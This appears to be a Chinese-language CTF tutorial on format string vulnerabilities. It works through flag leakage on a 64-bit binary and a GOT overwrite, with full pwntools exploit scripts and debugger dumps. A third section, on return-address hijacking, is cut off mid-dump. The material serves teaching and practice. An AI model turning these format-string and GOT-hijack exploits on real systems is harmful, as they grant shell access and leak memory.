[格式化字符串漏洞例子](#header-n2)  
 [64位程序格式化字符串漏洞](#header-n4)  
 [原理](#header-n5)  
 [例子](#header-n7)  
 [hijack GOT](#header-n22)  
 [原理](#header-n23)  
 [例子](#header-n43)  
 [hijack retaddr](#header-n113)  
 [原理](#header-n114)  
 [例子](#header-n116)

# 格式化字符串漏洞例子

## 64位程序格式化字符串漏洞

### 原理

前六个整形或指针参数依次保存在RDI，RSI，RDX，RCX，R8，和R9寄存器中，如果还有更多的参数的话才会保存在栈上。

### 例子

这里用的是2017年的UIUCTF中的**pwn200GoodLuck**为例来介绍。

因为只有本地，所以在本地放了flag.txt文件

题目链接：https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/2017-UIUCTF-pwn200-GoodLuck

首先checksec下：

hacker@ubuntu:~/Desktop/2017-UIUCTF-pwn200-GoodLuck$ checksec goodluck  
[\*] '/home/hacker/Desktop/2017-UIUCTF-pwn200-GoodLuck/goodluck'  
 Arch: amd64-64-little  
 RELRO: Partial RELRO  
 Stack: Canary found  
 NX: NX enabled  
 PIE: No PIE (0x400000)

开了NX和部分RELRO。

漏洞很显然，就在printf那里。

int \_\_cdecl main(int argc, const char \*\*argv, const char \*\*envp)  
{  
 char v4; // [rsp+3h] [rbp-3Dh]  
 signed int i; // [rsp+4h] [rbp-3Ch]  
 signed int j; // [rsp+4h] [rbp-3Ch]  
 char \*format; // [rsp+8h] [rbp-38h]  
 \_IO\_FILE \*fp; // [rsp+10h] [rbp-30h]  
 char \*v9; // [rsp+18h] [rbp-28h]  
 char v10[24]; // [rsp+20h] [rbp-20h]  
 unsigned \_\_int64 v11; // [rsp+38h] [rbp-8h]  
  
 v11 = \_\_readfsqword(0x28u);  
 fp = fopen("flag.txt", "r");  
 for ( i = 0; i <= 21; ++i )  
 v10[i] = \_IO\_getc(fp);  
 fclose(fp);  
 v9 = v10;  
 puts("what's the flag");  
 fflush(\_bss\_start);  
 format = 0LL;  
 \_\_isoc99\_scanf("%ms", &format);  
 for ( j = 0; j <= 21; ++j )  
 {  
 v4 = format[j];  
 if ( !v4 || v10[j] != v4 )  
 {  
 puts("You answered:");  
 printf(format);  
 puts("\nBut that was totally wrong lol get rekt");  
 fflush(\_bss\_start);  
 return 0;  
 }  
 }  
 printf("That's right, the flag is %s\n", v9);  
 fflush(\_bss\_start);  
 return 0;  
}

gdb-peda$ b printf   
Breakpoint 1 at 0x400640  
gdb-peda$ r  
Starting program: /home/hacker/Desktop/2017-UIUCTF-pwn200-GoodLuck/goodluck   
/bin/bash: /home/hacker/Desktop/2017-UIUCTF-pwn200-GoodLuck/goodluck: Permission denied  
/bin/bash: line 0: exec: /home/hacker/Desktop/2017-UIUCTF-pwn200-GoodLuck/goodluck: cannot execute: Permission denied  
During startup program exited with code 126.  
gdb-peda$ r  
Starting program: /home/hacker/Desktop/2017-UIUCTF-pwn200-GoodLuck/goodluck   
what's the flag  
12345678  
You answered:  
  
[----------------------------------registers-----------------------------------]  
RAX: 0x0   
RBX: 0x0   
RCX: 0x7ffff7af2224 (<\_\_GI\_\_\_libc\_write+20>: cmp rax,0xfffffffffffff000)  
RDX: 0x7ffff7dcf8c0 --> 0x0   
RSI: 0x602490 ("You answered:\ng\n111111}\n")  
RDI: 0x602cb0 ("12345678")  
RBP: 0x7fffffffdf40 --> 0x400900 (<\_\_libc\_csu\_init>: push r15)  
RSP: 0x7fffffffdef8 --> 0x400890 (<main+234>: mov edi,0x4009b8)  
RIP: 0x7ffff7a46f70 (<\_\_printf>: sub rsp,0xd8)  
R8 : 0x7ffff7fdc500 (0x00007ffff7fdc500)  
R9 : 0x7ffff7b50a60 (<\_\_memcpy\_ssse3+9168>: mov rcx,QWORD PTR [rsi-0xd])  
R10: 0x3   
R11: 0x7ffff7a46f70 (<\_\_printf>: sub rsp,0xd8)  
R12: 0x4006b0 (<\_start>: xor ebp,ebp)  
R13: 0x7fffffffe020 --> 0x1   
R14: 0x0   
R15: 0x0  
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)  
[-------------------------------------code-------------------------------------]  
 0x7ffff7a46f5c <\_\_fprintf+172>: call 0x7ffff7b16b10 <\_\_stack\_chk\_fail>  
 0x7ffff7a46f61: nop WORD PTR cs:[rax+rax\*1+0x0]  
 0x7ffff7a46f6b: nop DWORD PTR [rax+rax\*1+0x0]  
=> 0x7ffff7a46f70 <\_\_printf>: sub rsp,0xd8  
 0x7ffff7a46f77 <\_\_printf+7>: test al,al  
 0x7ffff7a46f79 <\_\_printf+9>: mov QWORD PTR [rsp+0x28],rsi  
 0x7ffff7a46f7e <\_\_printf+14>: mov QWORD PTR [rsp+0x30],rdx  
 0x7ffff7a46f83 <\_\_printf+19>: mov QWORD PTR [rsp+0x38],rcx  
[------------------------------------stack-------------------------------------]  
0000| 0x7fffffffdef8 --> 0x400890 (<main+234>: mov edi,0x4009b8)  
0008| 0x7fffffffdf00 --> 0x31000001   
0016| 0x7fffffffdf08 --> 0x602cb0 ("12345678")  
0024| 0x7fffffffdf10 --> 0x602260 --> 0x0   
0032| 0x7fffffffdf18 --> 0x7fffffffdf20 ("flag{", '1' <repeats 17 times>)  
0040| 0x7fffffffdf20 ("flag{", '1' <repeats 17 times>)  
0048| 0x7fffffffdf28 ('1' <repeats 14 times>)  
0056| 0x7fffffffdf30 --> 0x313131313131 ('111111')  
[------------------------------------------------------------------------------]  
Legend: code, data, rodata, value  
  
Breakpoint 1, \_\_printf (format=0x602cb0 "12345678") at printf.c:28  
28 printf.c: No such file or directory.  
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA  
─────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────  
 RAX 0x0  
 RBX 0x0  
 RCX 0x7ffff7af2224 (write+20) ◂— cmp rax, -0x1000 /\* 'H=' \*/  
 RDX 0x7ffff7dcf8c0 (\_IO\_stdfile\_1\_lock) ◂— 0x0  
 RDI 0x602cb0 ◂— '12345678'  
 RSI 0x602490 ◂— 'You answered:\ng\n111111}\n'  
 R8 0x7ffff7fdc500 ◂— 0x7ffff7fdc500  
 R9 0x7ffff7b50a60 (\_\_memcpy\_ssse3+9168) ◂— mov rcx, qword ptr [rsi - 0xd]  
 R10 0x3  
 R11 0x7ffff7a46f70 (printf) ◂— sub rsp, 0xd8  
 R12 0x4006b0 (\_start) ◂— xor ebp, ebp  
 R13 0x7fffffffe020 ◂— 0x1  
 R14 0x0  
 R15 0x0  
 RBP 0x7fffffffdf40 —▸ 0x400900 (\_\_libc\_csu\_init) ◂— push r15  
 RSP 0x7fffffffdef8 —▸ 0x400890 (main+234) ◂— mov edi, 0x4009b8  
 RIP 0x7ffff7a46f70 (printf) ◂— sub rsp, 0xd8  
───────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────  
 ► 0x7ffff7a46f70 <printf> sub rsp, 0xd8  
 ↓  
 0x7ffff7a46f79 <printf+9> mov qword ptr [rsp + 0x28], rsi  
 0x7ffff7a46f7e <printf+14> mov qword ptr [rsp + 0x30], rdx  
 0x7ffff7a46f83 <printf+19> mov qword ptr [rsp + 0x38], rcx  
 0x7ffff7a46f88 <printf+24> mov qword ptr [rsp + 0x40], r8  
 0x7ffff7a46f8d <printf+29> mov qword ptr [rsp + 0x48], r9  
 0x7ffff7a46f92 <printf+34> je printf+91 <printf+91>  
 ↓  
 0x7ffff7a46fcb <printf+91> mov rax, qword ptr fs:[0x28]  
 0x7ffff7a46fd4 <printf+100> mov qword ptr [rsp + 0x18], rax  
 0x7ffff7a46fd9 <printf+105> xor eax, eax  
 0x7ffff7a46fdb <printf+107> lea rax, [rsp + 0xe0]  
───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────  
00:0000│ rsp 0x7fffffffdef8 —▸ 0x400890 (main+234) ◂— mov edi, 0x4009b8  
01:0008│ 0x7fffffffdf00 ◂— 0x31000001  
02:0010│ 0x7fffffffdf08 —▸ 0x602cb0 ◂— '12345678'  
03:0018│ 0x7fffffffdf10 —▸ 0x602260 ◂— 0x0  
04:0020│ 0x7fffffffdf18 —▸ 0x7fffffffdf20 ◂— 'flag{11111111111111111'  
05:0028│ 0x7fffffffdf20 ◂— 'flag{11111111111111111'  
06:0030│ 0x7fffffffdf28 ◂— '11111111111111'  
07:0038│ 0x7fffffffdf30 ◂— 0x313131313131 /\* '111111' \*/  
─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────  
 ► f 0 7ffff7a46f70 printf  
 f 1 400890 main+234  
 f 2 7ffff7a03bf7 \_\_libc\_start\_main+231  
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

可以看到flag在栈上偏移为4， x64 前 6 个参数存在寄存器上面，而第一个参数又是格式化字符串

所以是第9个参数，payload ：%9$s

Exp：

from pwn import \*  
#context.log\_level = 'debug'  
goodluck = ELF('./goodluck')  
  
sh = process('./goodluck')  
  
payload = "%9$s"  
  
print payload  
#gdb.attach(sh)  
sh.sendline(payload)  
print sh.recv()

hacker@ubuntu:~/Desktop/2017-UIUCTF-pwn200-GoodLuck$ python exp.py   
[\*] '/home/hacker/Desktop/2017-UIUCTF-pwn200-GoodLuck/goodluck'  
 Arch: amd64-64-little  
 RELRO: Partial RELRO  
 Stack: Canary found  
 NX: NX enabled  
 PIE: No PIE (0x400000)  
[+] Starting local process './goodluck': pid 15774  
%9$s  
[\*] Process './goodluck' stopped with exit code 0 (pid 15774)  
what's the flag  
You answered:  
flag{111111111111111}  
  
But that was totally wrong lol get rekt

## hijack GOT

### 原理

目前的 ELF 编译系统使用一种成为延迟绑定( lazy binding )的技术来实现对共享库中函数的调用过程。该机制主要通过两个数据结构 GOT 和 过程链接表( Procedure Linkage Table , PLT )实现。其简化的原理为 : 当目标模块存在一个外部共享库的函数调用时，其在汇编层面使用 call 指令实现调用，其作用为跳转至对应函数的 PLT 表项处执行，该表项的第一条指令为 jmp \*[ 对应 GOT 项的地址 ]，第一次执行函数调用时，通过 GOT 与 PLT 的合作，会将最终调用函数的地址确定下来，并存放在其对应的 GOT 表项中。当后续再发生调用时， jmp \*[ 对应 GOT 项的地址 ] 指令即表示直接跳转至目标函数处执行。

在目前的 C 程序中，libc 中的函数都是通过 GOT 表来跳转的。此外，在没有开启 RELRO 保护时，每个 libc 的函数对应的 GOT 表项是可以被修改的。因此，我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制。比如说我们可以修改 printf 的 got 表项内容为 system 函数的地址。从而，程序在执行 printf 的时候实际执行的是 system 函数。

假设我们需要将函数A的地址覆盖为函数B的地址，那么步骤如下：

1. 确定函数A的GOT表地址
2. 确定函数B的地址

* 在这一步，需要我们自己想办法来泄露对应函数 B 的地址。

1. 将函数 B 的内存地址写入到函数 A 的 GOT 表地址处。

* 这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种
  + 使用write函数
* pop eax; ret; # printf@got -> eax  
  pop ebx; ret; # (addr\_offset = system\_addr - printf\_addr) -> ebx  
  add [eax] ebx; ret; # [printf@got] = [printf@got] + addr\_offset
  + 格式化字符串任意地址写

### 例子

使用的是2016 CCTF中的pwn3

首先查看保护

hacker@ubuntu:~/Desktop/2016-CCTF-pwn3$ checksec pwn3  
[\*] '/home/hacker/Desktop/2016-CCTF-pwn3/pwn3'  
 Arch: i386-32-little  
 RELRO: Partial RELRO  
 Stack: No canary found  
 NX: NX enabled  
 PIE: No PIE (0x8048000)

开了NX。

main()：

int \_\_cdecl \_\_noreturn main(int argc, const char \*\*argv, const char \*\*envp)  
{  
 int v3; // eax  
 char s1; // [esp+14h] [ebp-2Ch]  
 int v5; // [esp+3Ch] [ebp-4h]  
  
 setbuf(stdout, 0);  
 ask\_username(&s1);  
 ask\_password(&s1);  
 while ( 1 )  
 {  
 while ( 1 )  
 {  
 print\_prompt();  
 v3 = get\_command();  
 v5 = v3;  
 if ( v3 != 2 )  
 break;  
 put\_file();  
 }  
 if ( v3 == 3 )  
 {  
 show\_dir();  
 }  
 else  
 {  
 if ( v3 != 1 )  
 exit(1);  
 get\_file();  
 }  
 }  
}

ask\_username():

char \*\_\_cdecl ask\_username(char \*dest)  
{  
 char src[40]; // [esp+14h] [ebp-34h]  
 int i; // [esp+3Ch] [ebp-Ch]  
  
 puts("Connected to ftp.hacker.server");  
 puts("220 Serv-U FTP Server v6.4 for WinSock ready...");  
 printf("Name (ftp.hacker.server:Rainism):");  
 \_\_isoc99\_scanf("%40s", src);  
 for ( i = 0; i <= 39 && src[i]; ++i )  
 ++src[i];  
 return strcpy(dest, src);  
}

对输入的每一位进行了+1的操作。

ask\_password()

int \_\_cdecl ask\_password(char \*s1)  
{  
 if ( strcmp(s1, "sysbdmin") )  
 {  
 puts("who you are?");  
 exit(1);  
 }  
 return puts("welcome!");  
}

操作之后的需要与sysbdmin相同。

get\_command()

signed int get\_command()  
{  
 char s1; // [esp+1Ch] [ebp-Ch]  
  
 \_\_isoc99\_scanf("%3s", &s1);  
 if ( !strncmp(&s1, "get", 3u) )  
 return 1;  
 if ( !strncmp(&s1, "put", 3u) )  
 return 2;  
 if ( !strncmp(&s1, "dir", 3u) )  
 return 3;  
 return 4;  
}

put\_file()：

\_DWORD \*put\_file()  
{  
 \_DWORD \*v0; // ST1C\_4  
 \_DWORD \*result; // eax  
  
 v0 = malloc(0xF4u);//244  
 printf("please enter the name of the file you want to upload:");  
 get\_input(v0, 40, 1);  
 printf("then, enter the content:");  
 get\_input(v0 + 10, 200, 1);  
 v0[60] = file\_head;  
 result = v0;  
 file\_head = (int)v0;  
 return result;  
}

malloc后调用两次get*input()函数，并在最后的 4 个字节内写入上一块调用 put*file 时获得的地址，然后更新头指针 file\_head 并返回本次分配的空间的起始地址。

也就是说，每次调用put*file()，分配244字节大小的空间，前40字节保存文件名，后200保存文件内容，最后四个字节保存上一块内存的地址，file*head是bss段上的变量，所以值为0，这样就在栈上得到一条链。

get\_input()

signed int \_\_cdecl get\_input(int a1, int a2, int a3)  
{  
 signed int result; // eax  
 \_BYTE \*v4; // [esp+18h] [ebp-10h]  
 int v5; // [esp+1Ch] [ebp-Ch]  
 v5 = 0;  
 while ( 1 )  
 {  
 v4 = (\_BYTE \*)(v5 + a1);  
 result = fread((void \*)(v5 + a1), 1u, 1u, stdin);  
 if ( result <= 0 )  
 break;  
 if ( \*v4 == 10 && a3 )  
 {  
 if ( v5 )  
 {  
 result = v5 + a1;  
 \*v4 = 0;  
 return result;  
 }  
 }  
 else  
 {  
 result = ++v5;  
 if ( v5 >= a2 )  
 return result;  
 }  
 }  
 return result;  
}

函数在遇到回车符号或达到最大输入量（第二个参数）前，会一直向第一个参数指定的缓冲区中写入输入的内容.

show*dir()：函数遍历前面利用 put*file 得到的链栈，并依次将它们的名字复制到大小为 1024 个字节的缓冲区中，然后输出缓冲区的内容

int show\_dir()  
{  
 int v0; // eax  
 char s[1024]; // [esp+14h] [ebp-414h]  
 int i; // [esp+414h] [ebp-14h]  
 int j; // [esp+418h] [ebp-10h]  
 int v5; // [esp+41Ch] [ebp-Ch]  
  
 v5 = 0;  
 j = 0;  
 bzero(s, 0x400u);  
 for ( i = file\_head; i; i = \*(\_DWORD \*)(i + 240) )  
 {  
 for ( j = 0; \*(\_BYTE \*)(i + j); ++j )  
 {  
 v0 = v5++;  
 s[v0] = \*(\_BYTE \*)(i + j);  
 }  
 }  
 return puts(s);  
}

get\_file()：存在漏洞的函数。

int get\_file()  
{  
 char dest; // [esp+1Ch] [ebp-FCh]  
 char s1; // [esp+E4h] [ebp-34h]  
 char \*i; // [esp+10Ch] [ebp-Ch]  
  
 printf("enter the file name you want to get:");  
 \_\_isoc99\_scanf("%40s", &s1);  
 if ( !strncmp(&s1, "flag", 4u) )  
 puts("too young, too simple");  
 for ( i = (char \*)file\_head; i; i = (char \*)\*((\_DWORD \*)i + 60) )  
 {  
 if ( !strcmp(i, &s1) )  
 {  
 strcpy(&dest, i + 40);  
 return printf(&dest);  
 }  
 }  
 return printf(&dest);  
}

根据用户输入的文件名到链栈中去寻找，如果有同名的文件那么输出内容，但是因为最后将文件的内容直接 printf 出来，所以存在 **格式化字符串漏洞**。

将文件内容put到文件中后，调用get\_file将文件内容读取出来第，存在格式化字符串漏洞，可以达到信息泄露和任意地址写。

1. 利用格式化字符串的任意写，将show\_dir()函数调用的put函数在got.plt表中的地址改为system的地址
2. 将show\_dir()所显示的文件名内容设成/bin/sh

完成上面两步后，就可以在运行show\_dir()时将puts("/bin/sh")变为system(""/bin/sh")

第二步比较简单，主要是第一步。

不知道system函数的地址，因为我们不知道动态链接后libc的基址，这首先需要将这个信息泄露

我们先在printf的地址下断点

.text:08048895 loc\_8048895: ; CODE XREF: get\_file+8B↑j
  
.text:08048895 lea eax, [ebp+dest]
  
.text:0804889B mov [esp], eax ; format
  
.text:0804889E call \_printf
  
.text:080488A3 leave
  
.text:080488A4 retn
  
.text:080488A4 get\_file endp

pwndbg> r
  
Starting program: /home/yutao/ctf-challenges/pwn/fmtstr/2016-CCTF-pwn3/pwn3
  
Connected to ftp.hacker.server
  
220 Serv-U FTP Server v6.4 for WinSock ready...
  
Name (ftp.hacker.server:Rainism):rxraclhm
  
welcome!
  
ftp>put
  
please enter the name of the file you want to upload:namename
  
then, enter the content:qwerqwer
  
ftp>get
  
enter the file name you want to get:namename
  
   
Breakpoint 1, 0x0804889e in get\_file ()
  
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
  
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
  
 EAX 0xffffcedc ◂— 'qwerqwer'
  
 EBX 0x0
  
 ECX 0x804b598 ◂— 'qwerqwer'
  
 EDX 0xffffcedc ◂— 'qwerqwer'
  
 EDI 0x0
  
 ESI 0xf7fb6000 (\_GLOBAL\_OFFSET\_TABLE\_) ◂— 0x1d7d8c
  
 EBP 0xffffcfd8 —▸ 0xffffd028 ◂— 0x0
  
 ESP 0xffffcec0 —▸ 0xffffcedc ◂— 'qwerqwer'
  
 EIP 0x804889e (get\_file+168) —▸ 0xfffc1de8 ◂— 0xfffc1de8
  
───────────────────────────────────[ DISASM ]───────────────────────────────────
  
 ► 0x804889e <get\_file+168> call printf@plt <printf@plt>
  
 format: 0xffffcedc ◂— 'qwerqwer'
  
 vararg: 0x804b598 ◂— 'qwerqwer'
  
   
 0x80488a3 <get\_file+173> leave
  
 0x80488a4 <get\_file+174> ret
  
   
 0x80488a5 <get\_command> push ebp
  
 0x80488a6 <get\_command+1> mov ebp, esp
  
 0x80488a8 <get\_command+3> sub esp, 0x28
  
 0x80488ab <get\_command+6> lea eax, [ebp - 0xc]
  
 0x80488ae <get\_command+9> mov dword ptr [esp + 4], eax
  
 0x80488b2 <get\_command+13> mov dword ptr [esp], 0x8048bc5
  
 0x80488b9 <get\_command+20> call \_\_isoc99\_scanf@plt <\_\_isoc99\_scanf@plt>
  
   
 0x80488be <get\_command+25> mov dword ptr [esp + 8], 3
  
───────────────────────────────────[ STACK ]────────────────────────────────────
  
00:0000│ esp 0xffffcec0 —▸ 0xffffcedc ◂— 'qwerqwer'
  
01:0004│ 0xffffcec4 —▸ 0x804b598 ◂— 'qwerqwer'
  
02:0008│ 0xffffcec8 ◂— 0x4
  
03:000c│ 0xffffcecc —▸ 0xf7de8f88 ◂— movsd dword ptr es:[edi], dword ptr [esi]
  
04:0010│ 0xffffced0 ◂— 0xfbad2887
  
05:0014│ 0xffffced4 ◂— 0x7d4
  
06:0018│ 0xffffced8 —▸ 0xf7fb4220 (\_IO\_helper\_jumps) ◂— 0x0
  
07:001c│ eax edx 0xffffcedc ◂— 'qwerqwer'
  
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
  
 ► f 0 804889e get\_file+168
  
 f 1 80486c9 main+92
  
 f 2 f7df6f21 \_\_libc\_start\_main+241
  
────────────────────────────────────────────────────────────────────────────────
  
pwndbg> stack 24
  
00:0000│ esp 0xffffcec0 —▸ 0xffffcedc ◂— 'qwerqwer'
  
01:0004│ 0xffffcec4 —▸ 0x804b598 ◂— 'qwerqwer'
  
02:0008│ 0xffffcec8 ◂— 0x4
  
03:000c│ 0xffffcecc —▸ 0xf7de8f88 ◂— movsd dword ptr es:[edi], dword ptr [esi]
  
04:0010│ 0xffffced0 ◂— 0xfbad2887
  
05:0014│ 0xffffced4 ◂— 0x7d4
  
06:0018│ 0xffffced8 —▸ 0xf7fb4220 (\_IO\_helper\_jumps) ◂— 0x0
  
07:001c│ eax edx 0xffffcedc ◂— 'qwerqwer'
  
... ↓
  
09:0024│ 0xffffcee4 —▸ 0x8048c00 ◂— push ebx /\* 'Serv-U FTP Server v6.4 for WinSock ready...' \*/
  
0a:0028│ 0xffffcee8 —▸ 0xf7e511db (\_IO\_file\_underflow+11) ◂— add edi, 0x164e25
  
0b:002c│ 0xffffceec —▸ 0xf7fb49f4 ◂— 0x0
  
0c:0030│ 0xffffcef0 —▸ 0xf7fb65c0 (\_IO\_2\_1\_stdin\_) ◂— 0xfbad2288
  
0d:0034│ 0xffffcef4 ◂— 0x1
  
0e:0038│ 0xffffcef8 —▸ 0x804b598 ◂— 'qwerqwer'
  
0f:003c│ 0xffffcefc —▸ 0xf7e5034f (\_\_GI\_\_IO\_file\_xsgetn+575) ◂— add esp, 0x10
  
10:0040│ 0xffffcf00 —▸ 0x804b5a0 ◂— 0x0
  
11:0044│ 0xffffcf04 —▸ 0x804b168 ◂— 0xa /\* '\n' \*/
  
12:0048│ 0xffffcf08 ◂— 0x1
  
13:004c│ 0xffffcf0c —▸ 0xf7ffd940 ◂— 0x0
  
14:0050│ 0xffffcf10 —▸ 0xffffcf44 —▸ 0x804b5a0 ◂— 0x0
  
15:0054│ 0xffffcf14 —▸ 0xf7fb6000 (\_GLOBAL\_OFFSET\_TABLE\_) ◂— 0x1d7d8c
  
16:0058│ 0xffffcf18 —▸ 0xf7fb4220 (\_IO\_helper\_jumps) ◂— 0x0
  
17:005c│ 0xffffcf1c —▸ 0xf7fb49f4 ◂— 0x0
  
pwndbg>

可以看出字符串偏移为7，接下来得到puts@got地：

payload = '%8$s' + p32(puts\_got)
  
or
  
payload = p32(puts\_got) + '%7$s'

接下来接收puts函数的真实地址：

payload = p32(puts\_got) + '%7$s'

由于我们使用的是本地的libc，所以挂载本地的libc就行了。查看一下程序在运行时使用的libc文件：

yutao@pwnbaby:~/ctf-challenges/pwn/fmtstr/2016-CCTF-pwn3$ ldd pwn3
  
 linux-gate.so.1 (0xf7f10000)
  
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d19000)
  
 /lib/ld-linux.so.2 (0xf7f11000)

从上图可以看到真正用到的是”/lib/i386-linux-gnu/libc.so.6“这个库，所以把这个库载入进来就可以了：‘

libc = ELF('/lib/i386-linux-gnu/libc.so.6')
  
libc.address = puts\_addr - libc.symbols['puts']
  
sys\_addr = libc.symbols['system']

接下来就是覆盖puts函数了，首先介绍下pwntools中的fmtstr\_payload函数

fmtstr\_payload(offset, writes, numbwritten=0, write\_size='byte')
  
第一个参数表示格式化字符串的偏移；
  
第二个参数表示需要利用%n写入的数据，采用字典形式，我们要将printf的GOT数据改为system函数地址，就写成{printfGOT: systemAddress}；本题是将0804a048处改为0x2223322
  
第三个参数表示已经输出的字符个数，这里没有，为0，采用默认值即可；
  
第四个参数表示写入方式，是按字节（byte）、按双字节（short）还是按四字节（int），对应着hhn、hn和n，默认值是byte，即按hhn写。
  
fmtstr\_payload函数返回的就是payload

那么这道题中payload这样写：

payload = fmtstr\_payload(7, {puts\_got: sys\_addr})

**EXP：**

# -\*- coding: UTF-8 -\*-
  
from pwn import \*
  
context.log\_level = 'debug'
  
   
sh = process('./pwn3')
  
pwn3 = ELF('./pwn3')
  
sh.recvuntil('Name (ftp.hacker.server:Rainism):')
  
   
tmp = 'sysbdmin'
  
name = ""
  
for i in tmp:
  
 name += chr(ord(i) - 1)
  
#登录密码：rxraclhm
  
sh.sendline(name)
  
#通过puts函数把部署好的泄露任意地址的payload写进去
  
puts\_got = pwn3.got['puts']
  
sh.sendline('put')
  
sh.recvuntil('please enter the name of the file you want to upload:')
  
sh.sendline('Cyberangel')
  
sh.recvuntil('then, enter the content:')
  
payload='%8$s' + p32(puts\_got)
  
sh.sendline(payload)
  
#通过get泄露puts函数地址
  
sh.sendline('get')
  
sh.recvuntil('enter the file name you want to get:')
  
sh.sendline('Cyberangel')
  
puts\_addr = u32(sh.recv()[:4])
  
#从库中找到system函数地址
  
libc = ELF ('/lib/i386-linux-gnu/libc.so.6')
  
libc.address = puts\_addr - libc.symbols['puts']
  
sys\_addr=libc.symbols['system']
  
#将第七个参数的puts函数地址改成system函数地址
  
payload = fmtstr\_payload(7, {puts\_got: sys\_addr})
  
sh.sendline('put')
  
sh.recvuntil('please enter the name of the file you want to upload:')
  
#在运行show\_dir时将puts(”/bin/sh;“)变成system("/bin/sh;"),并成功获取shell
  
sh.sendline('/bin/sh;')
  
sh.recvuntil('then, enter the content:')
  
sh.sendline(payload)
  
#通过get打印‘/bin/sh;’文件，执行system('/bin/sh;')
  
sh.recvuntil('ftp>')
  
sh.sendline('get')
  
sh.recvuntil('enter the file name you want to get:')
  
sh.sendline('/bin/sh;')
  
#通过dir来拿到shell
  
sh.sendline('dir')
  
sh.interactive()

最后总结下思路

1. 绕过密码
2. 确定格式化字符串参数偏移
3. 利用 put@got 获取 put 函数地址，进而获取对应的 libc.so 的版本，进而获取对应 system 函数地址。
4. 修改 puts@got 的内容为 system 的地址。
5. 当程序再次执行 puts 函数的时候，其实执行的是 system 函数。

## hijack retaddr

### 原理

利用格式化字符串漏洞来劫持程序的返回地址到我们想要执行的地址。

### 例子

这里用的是**三个白帽-pwnme\_k0**为例  
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/三个白帽-pwnme\_k0

checksek一下：

hacker@ubuntu:~/Desktop/ctf-challenges/pwn/fmtstr/三个白帽-pwnme\_k0$ checksec pwnme\_k0  
[\*] '/home/hacker/Desktop/ctf-challenges/pwn/fmtstr/\xe4\xb8\x89\xe4\xb8\xaa\xe7\x99\xbd\xe5\xb8\xbd-pwnme\_k0/pwnme\_k0'  
 Arch: amd64-64-little  
 RELRO: Full RELRO  
 Stack: No canary found  
 NX: NX enabled  
 PIE: No PIE (0x400000)

程序的大致就是注册账户之类的，下面代码存在漏洞：

int \_\_fastcall sub\_400B07(char format, \_\_int64 a2, \_\_int64 a3, \_\_int64 a4, \_\_int64 a5, \_\_int64 a6, char formata, \_\_int64 a8, \_\_int64 a9)  
{  
 write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);  
 printf(&formata, "Welc0me to sangebaimao!\n");  
 return printf((const char \*)&a9 + 4);  
}

看了字符串发现有可以直接利用的system('/bin/sh'),所以只要用格式化字符串漏洞直接修改某个函数的返回地址为0x4008A6就可以了。

.text:00000000004008A6 sub\_4008A6 proc near  
.text:00000000004008A6 ; \_\_unwind {  
.text:00000000004008A6 push rbp  
.text:00000000004008A7 mov rbp, rsp  
.text:00000000004008AA mov edi, offset command ; "/bin/sh"  
.text:00000000004008AF call system  
.text:00000000004008B4 pop rdi  
.text:00000000004008B5 pop rsi  
.text:00000000004008B6 pop rdx  
.text:00000000004008B7 retn

在000400B39处下断点，，输入后s跟进printf，跟进去的话栈上第一个肯定就是返回地址，所以返回地址后跟着的句式参数7(offset 6)。

─────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────  
 RAX 0x0  
 RBX 0x0  
 RCX 0x0  
 RDX 0x0  
 RDI 0x7fffffffdd44 ◂— '%p%p%p%p%p%p%p%p\n'  
 RSI 0x603260 ◂— 'qwertyui\nngebaimao:(\ntion!\nth:20): \n\*\*\*\*\*\*\*\*\*\*\n'  
 R8 0x0  
 R9 0x7ffff7b502d0 (\_\_memcpy\_ssse3+7232) ◂— mov rcx, qword ptr [rsi - 9]  
 R10 0x7ffff7b80c40 (\_nl\_C\_LC\_CTYPE\_class+256) ◂— add al, byte ptr [rax]  
 R11 0x246  
 R12 0x4007b0 ◂— xor ebp, ebp  
 R13 0x7fffffffdef0 ◂— 0x1  
 R14 0x0  
 R15 0x0  
 RBP 0x7fffffffdd20 —▸ 0x7fffffffdd60 —▸ 0x7fffffffde10 —▸ 0x400eb0 ◂— push r15  
\*RSP 0x7fffffffdd18 —▸ 0x400b3e ◂— nop   
\*RIP 0x7ffff7a46f70 (printf) ◂— sub rsp, 0xd8  
────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────  
 ► 0x7ffff7a46f70 <printf> sub rsp, 0xd8  
 ↓  
 0x7ffff7a46f79 <printf+9> mov qword ptr [rsp + 0x28], rsi  
 0x7ffff7a46f7e <printf+14> mov qword ptr [rsp + 0x30], rdx  
 0x7ffff7a46f83 <printf+19> mov qword ptr [rsp + 0x38], rcx  
 0x7ffff7a46f88 <printf+24> mov qword ptr [rsp + 0x40], r8  
 0x7ffff7a46f8d <printf+29> mov qword ptr [rsp + 0x48], r9  
 0x7ffff7a46f92 <printf+34> je printf+91 <printf+91>  
 ↓  
 0x7ffff7a46fcb <printf+91> mov rax, qword ptr fs:[0x28]  
 0x7ffff7a46fd4 <printf+100> mov qword ptr [rsp + 0x18], rax  
 0x7ffff7a46fd9 <printf+105> xor eax, eax  
 0x7ffff7a46fdb <printf+107> lea rax, [rsp + 0xe0]  
─────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────  
00:0000│ rsp 0x7fffffffdd18 —▸ 0x400b3e ◂— nop   
01:0008│ rbp 0x7fffffffdd20 —▸ 0x7fffffffdd60 —▸ 0x7fffffffde10 —▸ 0x400eb0 ◂— push r15  
